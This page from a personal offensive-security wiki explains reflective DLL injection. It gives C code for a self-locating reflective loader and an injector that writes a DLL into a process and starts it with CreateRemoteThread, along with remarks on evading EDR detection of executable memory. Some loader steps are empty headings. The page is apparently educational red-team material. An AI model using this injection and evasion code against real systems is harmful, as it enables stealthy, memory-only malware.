🌵
Rotta
  • ☕General
    • About Me
    • Recently Added
  • ☣️Offensive Tool Development
    • Windows Internals
      • Registers
      • x64 Calling Convention
      • PE File Format
        • PE File Structure
        • DOS Header, DOS Stub, & Rich Header
        • NT Headers
        • Data Directories & Section Headers
        • Import Directory Table, ILT & IAT
        • Image Export Table
        • PE Base Relocations
      • Processes & PEB Structure
      • Threads & TEB Structure
      • Event Tracing for Windows (ETW)
        • Interacting with ETW
        • ETW Tools
    • Enumeration
      • Process Enumeration
        • CreateToolhelp32Snapshot
        • EnumProcesses (psapi.h)
        • NtQuerySystemInformation
        • NtQueryInformationProcess
      • Thread Enumeration
        • CreateToolhelp32Snapshot
        • NtQuerySystemInformation
      • DLL Enumeration
    • Memory Allocation
      • Private Memory Allocation
      • Memory Mapping
    • Access Tokens
      • Page 1
    • Techniques and Exploitation Methods
      • Thread Hijacking
      • DLL Injection
      • Shellcode Reflective DLL Injection
      • APC Injection
      • Callback Process Injection
      • Function Stomping
      • DLL Sideloading
      • Local PE Injection
      • Reflective DLL Injection
      • Process Hollowing
    • PE Tips & Tricks
      • Parsing PE Headers
      • Patching IAT
      • Patching Base Relocations
      • Fixing Memory Permissions
      • Embed an EXE inside a LNK
      • PE Infection
    • Staging
      • Fetch Payload from Web Server
      • Fetch DLL from Web Server
    • Bypassing AV
      • String Hashing
      • Hiding & Obfuscating IAT
      • Custom WINAPI Functions
        • GetProcAddressHash
      • File Bloating
    • Evading EDR
      • Payload Execution Control
      • Wrapping NTAPI Functions
        • NtCreateUserProcess
        • NtQuerySystemInformation
      • PPID Spoofing
      • Call Stack Spoofing
      • NTDLL Unhooking
        • NTDLL Unhooking - From Disk
        • NTDLL Unhooking - From KnownDlls
        • NTDLL Unhooking - From Suspended Process
        • NTDLL Unhooking - From Web Server
    • Anti-Analysis Techniques
      • Anti-Debugging Techniques
        • Check If Running In a Debugger
        • Self Deleting Malware
      • Anti-Virtual Environments (AVE) Techniques
        • Detecting Hardware Specs
        • Delaying Execution
        • API Hammering
      • Reducing Binary Entropy
      • Brute Forcing Decryption Key
      • Removing MSCRT
      • Hiding / Camouflaging IAT
    • API Hooking
      • Userland Hooking
      • Custom Hooking Function
      • Open-Source Hooking Libraries
        • Microsoft's Detours Library
        • MinHook Library
    • Syscalls
      • NTAPI Syscall Process Injection
      • Direct Syscalls
        • SysWhispers
      • Indirect Syscalls
    • C2 Development
      • Consensus & Design Patterns
      • Infrastructure
      • Teamserver
      • Listeners
      • Agent Stubs
      • Encrypting Communication
    • User Defined Reflective Loader (UDRL)
    • MalDev Environment Setup
      • Setting up Dev Box
      • Setting up Pwn Box
      • Setting up Dev Server
      • Commando VM
    • Maldev Checklist
  • 👺Red Teaming
    • Setting up Infrastructure
    • External Recon
    • Internal Recon & Enumeration
      • Host Reconnaissance
      • Host Enumeration
    • Password Attacks
      • Password Spraying OWA
    • Phishing / Initial Compromise
      • Setting up Infrastructure
      • Crafting the Email
      • EvilGinx
      • Browser In Browser Attack
      • MS Office Phishing
        • VBA Macro Beacon
        • Remote Template Injection
        • HTML Smuggling
    • Privilege Escalation
      • Windows Services
      • UAC Bypass
      • Elevated SYSTEM Persistence
    • Persistence
      • Scheduled Tasks
      • Registry AutoRun
      • Startup Folder
      • COM Hijacking
      • Elevated SYSTEM Persistence
    • Payload Delivery
      • MS Office Payloads
        • Mark of the Web (MOTW).
        • Visual Basic Macro (VBA)
        • Remote Template Injection
      • SCR File Attack
    • Stealing Credentials
      • MimiKatz
      • Rubeus
      • Page 2
    • Domain Reconnaissance
      • PowerView & SharpView
      • ADSearch
    • Lateral Movement
      • User Impersonation
        • Pass The Hash (PTH)
        • Pass The Ticket (PTT)
        • Overpass The Hash
        • Token Impersonation
        • Token Store
    • Kerberos & Active Directory Attacks
      • Kerberoasting
      • ASREP Roasting
      • Kerberos Relay Attacks
      • Shadow Credentials
      • Unconstrained Delegation
      • Constrained Delegation
    • Cobalt Strike
      • Start Team Server
      • Configure Listeners
      • Beacons
        • UDRLess Beacon
    • Cracking Passwords
    • Tools & Checklists
      • Commands Cheat Sheet
      • Tools
      • Red Team Checklist
  • 🪟Active Directory
    • Active Directory Toolkit
      • Windows Tools
        • ActiveDirectory PowerShell Module
        • PowerView
        • SharpHound/BloodHound
        • Snaffler
      • Kali Linux Tools
        • Windapsearch & Ldapsearch
        • CrackMapExec
        • SMBMap
        • rpcclient
        • Impacket Toolkit
        • Bloodhound
    • Enumerating Active Directory
      • net.exe
      • Powershell Active Directory Commands
      • Powershell & .NET Classes
      • PowerView / SharpView
      • Enumerating Service Accounts
      • Enumerating Object Permissions
      • Enumerating Objects
      • Active Directory Certificate Services (AD CS)
    • Attacking Active Directory Authentication
      • AS-REP Roasting
      • Kerberoasting
      • Silver Tickets
      • Domain Controller Synchronization (Dsync Attack)
      • Kerberos Relay Attack
      • NTLM Relay Attack
      • Attacking Service Accounts
    • Password Spraying
      • Enumeration & Retrieving Password Policy
      • Creating a Target User List
      • Brute Force / Password Spraying - Linux Tools
      • Internal Spraying - From Windows
    • Lateral Movement Techniques
      • WMI and WinRM
      • PsExec
      • Pass The Hash
      • Overpass The Hash
      • Pass The Ticket
      • DCOM
    • Persistence
      • Golden Ticket
      • Shadow Copies
    • God Access
      • GenericAll Abuse
      • NTDS Tom Foolery
    • Lab Environment Setup
      • Installing Forest
      • Adding Data to Active Directory
    • Templates & Cheat Sheets
  • 🦈Penetration Testing
    • Information Gathering / Reconnaisance
      • Client Fingerprinting
      • External Recon and Enumeration
      • Network Reconnaisance
        • Scanning for Hosts
        • Initial Enumeration of AD Network
        • SMB Network Shares
      • Vulnerability Scanning
        • Nessus
        • Nmap
      • Popped a Shell
    • Pivoting, Tunneling, and Port Forwarding
      • SSH
      • Socat
      • Pivoting
        • plink.exe
        • netsh
        • Web Server Pivoting with Rpivot
      • Tunneling
        • Chisel
        • sshuttle
        • Dnscat2
      • Double Pivots
        • RDP and SOCKS Tunneling with SocksOverRDP
    • Cracking Passwords
      • Password Cracking Prerequisites
      • Mutating Wordlists
        • Identifying & Building Rules
      • Password Managers
      • SSH Private Keys
      • NTLM Toolkit
      • NTLMv2
      • MS-Cachev2 (DCC2)
      • Password Protected Files
    • Windows Privilege Escalation
      • Initial Enumeration
      • Searching For Sensitive Files
      • Searching Logs & Event Viewer
      • Escalating Privilege
      • Leveraging Windows Services
        • Service Binary Hijacking
        • Service DLL Hijacking
        • Abusing Unquoted Paths
      • Scheduled Tasks
      • Enumerating Services & Tasks
      • Dumping Secrets
    • Linux Privilege Escalation
      • Initial Enumeration
      • Automated Enumeration
      • Searching For Sensitive Information
      • Insecure File Permissions
      • Insecure System Components
        • Abusing Setuid Binaries and Capabilities
        • Sudo Trickery
        • Kernel Vulnerabilities
      • Abusing Environment Variables
      • Escaping Jail
      • Wildcard Injection
    • Exploiting Microsoft Office
      • Phishing with Teams
      • Malicious Macros
      • Windows Library Files
    • Setting up Infrastructure
      • C2 Infrastructure
      • EvilGinx2 Phishing Infrastructure
    • Ex-filtrating Data
      • WebDAV
      • SMB
      • Converting files to Hex Strings
    • Phishing
      • OSCP Phishing Guide
    • Templates & Cheat Sheets
      • OSCP Cheat Sheet
      • Impacket Cheat Sheet
      • Useful Commands
      • Penetration Test Checklist
  • 🛡️Azure & M365
    • Information Gathering / Reconnaissance
      • Domain Enumeration
      • User Enumeration
      • AADInternals
    • Attacking Authentication
      • OWA Password Spraying
      • OAuth Abuse
    • Azure AD Killchain
    • Azure Lab Setup
    • Azure & M365 Checklist
  • 🥾Security Operation Center
    • Network Traffic Analysis
      • Tcpdump
      • Wireshark
    • Windows Event Logs
      • Sysmon
    • Event Tracing for Windows (ETW)
    • Microsoft 365 Defender
    • Splunk as SIEM
      • Using Splunk Applications
      • Search Processing Language (SPL) Commands
      • Hunting with Splunk
      • Intrusion Detection
    • Incident Response Process
    • MITRE ATT&CK Framework
      • Persistence
        • Registry Run Keys
    • Templates & Cheat Sheets
      • Interview Prep
  • 🔬Digital Forensics
    • Tools
  • 🔍Malware Analysis
    • Network Traffic Analysis
      • INetSim
    • Static Analysis
      • Signatures & Fingerprints
      • Pestudio
      • x64dbg
    • Dynamic Analysis
      • Noriben
    • Reverse Engineering / Code Analysis
      • IDA
      • x64dbg
      • Returning Source Code
        • .NET Binary
    • Creating Detection Rules
    • Tools
  • 🛠️Programming
    • MASM Assembly
    • Qt
      • Setting up Qt in CLion
    • Windows Development on MacOS
      • CLion Setup
    • Windows API
      • Deleting Files
      • Strings
      • wininet.h
      • Wrapping WinAPI Functions
      • code_seg
      • Locating WinAPI Functions - Tips
    • Visual Studio
      • Creating DLL's
      • Debug & Release Mode
    • Mingw
      • Windows Development
    • Position Independent Code (PIC)
      • Creating Shellcode
      • Debugging & Development Tips
      • Strings
      • Macros
      • PIC Checklist
  • 🏠Home Lab
    • Current Setup
Powered by GitBook
On this page
  • Introduction
  • Reflective DLL Injection
  • Building Reflective DLL
  • Makefile
  • Brute forcing DLL Base address (from dll)
  • Allocate Memory and copy bytecode
  • Patching Import Address Table (IAT)
  • Fix Base Relocations
  • Fixing Memory Permissions
  • Calculate & Execute DllMain EntryPoint
  • Building Injector
  • References
  • Write-up by Stephen Fewer
  1. Offensive Tool Development
  2. Techniques and Exploitation Methods

Reflective DLL Injection

Reflective DLL injection allows an attacker to inject a DLL into a victim process entirely from memory rather than disk. First utilized by Stephen Fewer.

PreviousLocal PE InjectionNextProcess Hollowing

Last updated 7 months ago

Introduction

Reflective DLL's are inherently different than traditional DLLs. In the sense that they are specifically crafted to be executed reflectively. I.E executing themselves.

In general, reflective DLL injection is typically used as a persistence mechanism after initial access has been achieved through other means like malicious Office macros or executable files.

Instead of writing the malicious DLL to disk, which could trigger security alerts, reflective DLL injection loads the DLL directly into memory of a legitimate process, making it harder to detect by traditional security measures.


Most EDR's have updated their capabilities to detect this default process injection technique utilized by Stephen Fewer along with his Remote Process Execution technique using the CreateRemoteThread API.

EDR's also scan newly created Executable memory blocks in remote processes that have PAGE_EXECUTE_READWRITE permissions. A way around this is to parse the PE headers and distribute the sections of PE to different locations.

NOTE: Also, it's important to note that changing Stephen Fewer's default reflective loader page permissions to PAGE_EXECUTE_READ to try to evade EDR will end in an ACCESS_VIOLATION error. This is because there are several different sections in the PE that have their own permissions (which we cover above).

Reflective DLL Injection

A reflective DLL exports a special function to inject itself when it's called. This function cannot include WinAPI functions or global variables as they rely on offsets set by the compiler which become invalid.

(Custom GetModuleHandle and GetProcAddress functions are required to resolve WinAPIs used in the ReflectiveFunction function. Make sure to include string hashing.)

Building Reflective DLL

Here are the steps needed to build a reflective dll.

  1. Open target process with RWX permissions and allocate memory large enough for the DLL.

  2. Copy the DLL into the allocated memory space.

  3. Calculate the memory offset within the DLL to the export used for doing reflective loading.

  4. Call CreateRemoteThread (or an equivalent undocumented API function like RtlCreateUserThread) to start execution in the remote process, using the offset address of the reflective loader function as the entry point.

  5. The reflective loader function finds the Process Environment Block (PEB) of the target process using the appropriate CPU register, and uses that to find the address in memory of kernel32.dll and any other required libraries.

  6. Parse the exports directory of kernel32 to find the memory addresses of required API functions such as LoadLibraryA, GetProcAddress, and VirtualAlloc.

  7. Use these functions to then properly load the DLL (itself) into memory and call its entry point, DllMain.

Makefile

If developing on linux, it's crucial we compile the DLL correctly.

x86_64-w64-mingw32-gcc -s -w -Wall -Wextra -masm=intel -shared -fPIC -e DllMain -Os -fno-asynchronous-unwind-tables Source/* -I Include -o Reflective.dll -lntdll -luser32 -DWIN_X64

The bread and butter of reflective DLL injection lies in the reflective loader function inside the DLL. This is responsible for patching IAT, fixing relocations, and executing the DLL's entrypoint.

// Create Exported caller function. Will be brute-forced by Inject.exe
__declspec(dllexport) VOID ReflectiveFunction() {
    // Sauce goes here :)
}

This is the function we will call in inject.exe once the DLL is loaded.

Brute forcing DLL Base address (from dll)

One thing I think is very interesting about the Special Reflective Function is the use of bruteforcing the DLL's base address from within the DLL.

Below we get a pointer to ReflectiveFunction (from within ReflectiveFunction!!) and traverse back until we get a valid DOS header (signifying the base address of the DLL image). This is what reflective programming is.

Once we have the base address of the DLL, we can proceed to path IAT & Relocations.

extern __declspec(dllexport) BOOL ReflectiveFunction() {

	// Brute forcing ReflectiveDllLdr.dll's base address, starting at ReflectiveFunction's address
	uTmpAddress = (ULONG_PTR)ReflectiveFunction;

	do
	{
		pImgDosHdr = (PIMAGE_DOS_HEADER)uTmpAddress;

		// Check if the current uTmpAddress is a DOS header
		if (pImgDosHdr->e_magic == IMAGE_DOS_SIGNATURE)
		{
			// To terminate false positives - we do another check by retrieving the NT header and checking its signature as well
			pImgNtHdrs = (PIMAGE_NT_HEADERS)(uTmpAddress + pImgDosHdr->e_lfanew);

			if (pImgNtHdrs->Signature == IMAGE_NT_SIGNATURE) {
				// If valid, the current uTmpAddress is ReflectiveDllLdr.dll's base address 
				uReflectiveDllModule = uTmpAddress;
				break;
			}
		}
		// Keep decrementing to reach the DLL's base address
		uTmpAddress--;

	} while (TRUE);
}

Allocate Memory and copy bytecode

Now we will allocate memory for the PE's bytecode. This can be done with a custom VirtualAlloc or NtAllocateVirtualMemory.

// Allocating memory for the PE
if ((pPeBaseAddress = pVirtualAlloc(NULL, PeHdrs.pImgNtHdrs->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) == NULL) {
	return FALSE;
}

// Copying PE sections
for (int i = 0; i < PeHdrs.pImgNtHdrs->FileHeader.NumberOfSections; i++) {
	memcpy(
		(PVOID)(pPeBaseAddress + PeHdrs.pImgSecHdr[i].VirtualAddress),
		(PVOID)(uReflectiveDllModule + PeHdrs.pImgSecHdr[i].PointerToRawData),
		PeHdrs.pImgSecHdr[i].SizeOfRawData
	);
}

Patching Import Address Table (IAT)

Now that we have the base address of the DLL (see above) we can patch the IAT.

Fix Base Relocations

Fixing Memory Permissions

Calculate & Execute DllMain EntryPoint

typedef BOOL(WINAPI* fnDllMain)(HINSTANCE, DWORD, LPVOID);

// Calculating ReflectiveDllLdr.dll's entry point address 
pDllMain = (fnDllMain)(pPeBaseAddress + PeHdrs.pImgNtHdrs->OptionalHeader.AddressOfEntryPoint)

Building Injector

For reflective DLL injection we load the dll into a buffer, parse the exports for the "Special Reflective Loader" function address, and create a new thread. Opposed to the traditional LoadLibraryW.

Here are the steps:

  • Load dll file into buffer

  • Open process handle

  • Parse export data directory for "Special Reflective Loader" offset.

  • Write dll buffer to external process.

  • Calculate external process base address buffer with the reflective function offset.

  • Create a new thread at reflective function address.

// Given an RVA, calculate it's offset by iterating through PE sections.
DWORD RVA2Offset(IN DWORD dwRVA, IN ULONG_PTR pBaseAddress) {

    PIMAGE_NT_HEADERS        pImgNtHdrs             = NULL;
    PIMAGE_SECTION_HEADER    pImgSectionHdr         = NULL;

    pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBaseAddress + ((PIMAGE_DOS_HEADER)pBaseAddress)->e_lfanew);
    if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
        return 0x00;

    pImgSectionHdr	= (PIMAGE_SECTION_HEADER)((PBYTE)&pImgNtHdrs->OptionalHeader + pImgNtHdrs->FileHeader.SizeOfOptionalHeader);

    // Iterates through the PE sections
    for (int i = 0; i < pImgNtHdrs->FileHeader.NumberOfSections; i++){

        // If the RVA is located inside the "i" PE section
        if (dwRVA >= pImgSectionHdr[i].VirtualAddress && dwRVA < (pImgSectionHdr[i].VirtualAddress + pImgSectionHdr[i].Misc.VirtualSize))
            // Calculate the delta and add it to the raw pointer
            return (dwRVA - pImgSectionHdr[i].VirtualAddress) + pImgSectionHdr[i].PointerToRawData;
    }

    printf("\t[!] Cound'nt Convert The 0x%0.8X RVA to File Offset! \n", dwRVA);
    return 0x00;
}

// Gets the Special Reflective function offset. 
// Offset is used when we are calculating the address in memory allocated w/ VirtualAlloc. (InjectAndRunDll)
DWORD GetReflectiveFunctionOffset(IN ULONG_PTR uRflDllBuffer) {

    PIMAGE_NT_HEADERS               pImgNtHdrs                      = NULL;
    PIMAGE_EXPORT_DIRECTORY         pImgExportDir                   = NULL;
    PDWORD                          pdwFunctionNameArray            = NULL;
    PDWORD                          pdwFunctionAddressArray         = NULL;
    PWORD                           pwFunctionOrdinalArray          = NULL;

    pImgNtHdrs = (PIMAGE_NT_HEADERS)(uRflDllBuffer + ((PIMAGE_DOS_HEADER)uRflDllBuffer)->e_lfanew);
    if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
        return 0x00;

    pImgExportDir              = ( PIMAGE_EXPORT_DIRECTORY ) (uRflDllBuffer + RVA2Offset(pImgNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress, uRflDllBuffer));
    pdwFunctionNameArray       = ( PDWORD ) (uRflDllBuffer + RVA2Offset(pImgExportDir->AddressOfNames, uRflDllBuffer));
    pdwFunctionAddressArray    = ( PDWORD ) (uRflDllBuffer + RVA2Offset(pImgExportDir->AddressOfFunctions, uRflDllBuffer));
    pwFunctionOrdinalArray     = ( PWORD )  (uRflDllBuffer + RVA2Offset(pImgExportDir->AddressOfNameOrdinals, uRflDllBuffer));

    for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++){

        PCHAR pcFunctionName = (PCHAR)(uRflDllBuffer + RVA2Offset(pdwFunctionNameArray[i], uRflDllBuffer));

        if (strcmp(pcFunctionName, EXPORTED_FUNC_NAME) == 0)
            return RVA2Offset(pdwFunctionAddressArray[pwFunctionOrdinalArray[i]], uRflDllBuffer);
    }

    printf("\t[!] Cound'nt Resolve %s's Offset! \n", EXPORTED_FUNC_NAME);
    return 0x00;
}


// Takes in buffer, dllsize, and ReflectiveFunction address.
// Allocates memory, sets permissions, writes memory to remote process, and executes thread
BOOL InjectAndRunDll(IN HANDLE hProcess, IN DWORD dwRflFuncOffset, IN PBYTE pRflDllBuffer, IN DWORD dwRflDllSize) {

    PBYTE		pAddress                = NULL;
    SIZE_T		sNumberOfBytesWritten   = 0;
    HANDLE		hThread                 = NULL;
    DWORD		dwThreadId              = 0x00;
    if (!(pAddress = VirtualAllocEx(hProcess, NULL, dwRflDllSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READ))) {
        printf("\t[!] VirtualAllocEx Failed With Error: %d \n", GetLastError());
        return FALSE;
    }

    if (!WriteProcessMemory(hProcess, pAddress, pRflDllBuffer, dwRflDllSize, &sNumberOfBytesWritten) || dwRflDllSize != sNumberOfBytesWritten) {
        printf("\t[!] WriteProcessMemory Failed With Error: %d \n", GetLastError());
        return FALSE;
    }

    if (!(hThread = CreateRemoteThread(hProcess, NULL, 0x00, (LPTHREAD_START_ROUTINE)(pAddress + dwRflFuncOffset), NULL, 0x00, &dwThreadId))) {
        printf("\t[!] CreateRemoteThread Failed With Error: %d \n", GetLastError());
        return FALSE;
    }



    return TRUE;
}


int main() {
/* Read dll into buffer (not putting that here)*/
    // Parse PE Headers
    DWORD dwReflectiveFunctionsOffset = GetReflectiveFunctionOffset((UINT_PTR)lpDllBuffer);

    HANDLE hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, GetCurrentProcessId() );
    
    if (!InjectAndRunDll(hProcess, dwReflectiveFunctionsOffset, lpDllBuffer, dwFileSize)) {
        wprintf(L"[!] InjectAndRunDll Failed");
        return -1;
    }


}

References

Write-up by Stephen Fewer

☣️
GitHub - stephenfewer/ReflectiveDLLInjection: Reflective DLL injection is a library injection technique in which the concept of reflective programming is employed to perform the loading of a library from memory into a host process.GitHub
Patching IATRotta
Patching Base RelocationsRotta
Fixing Memory PermissionsRotta
Logo
Logo
Logo
Logo